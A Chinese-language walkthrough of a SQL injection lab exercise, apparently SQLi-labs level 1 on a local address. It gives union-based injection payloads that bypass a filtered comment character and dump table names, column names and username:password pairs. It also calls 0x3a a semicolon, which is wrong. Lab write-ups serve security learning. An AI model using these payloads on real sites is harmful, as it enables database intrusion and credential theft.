判斷注入類型
首先判斷是什麼類型的注入,這裏是字符型的:
1' and '1'='1 //正常
1' and '1'='2 //錯誤
開始注入
末尾的註釋符#被過濾,所以報錯了:
URL編碼繞過,列長度爲3:
爆注入點:
'union SELECT 1,2,3%23
爆表名:
http://192.168.1.113:86/Less-1/?id='union SELECT 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
爆列名:
http://192.168.1.113:86/Less-1/?id='union SELECT 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')%23
爆字段內容:
http://192.168.1.113:86/Less-1/?id='union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23
第一關嘛,都是常規操作,這裏的0x3a就是一個;只不過用16進製表示了,爲了區分一下賬號和密碼,增加可視化。
這個exp後面會經常用到,這樣好處是可以更直觀的反映出它過濾了什麼,相對於上一關加了什麼防護或者有什麼變化,壞處自然就是手懶了一些。
exp:union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23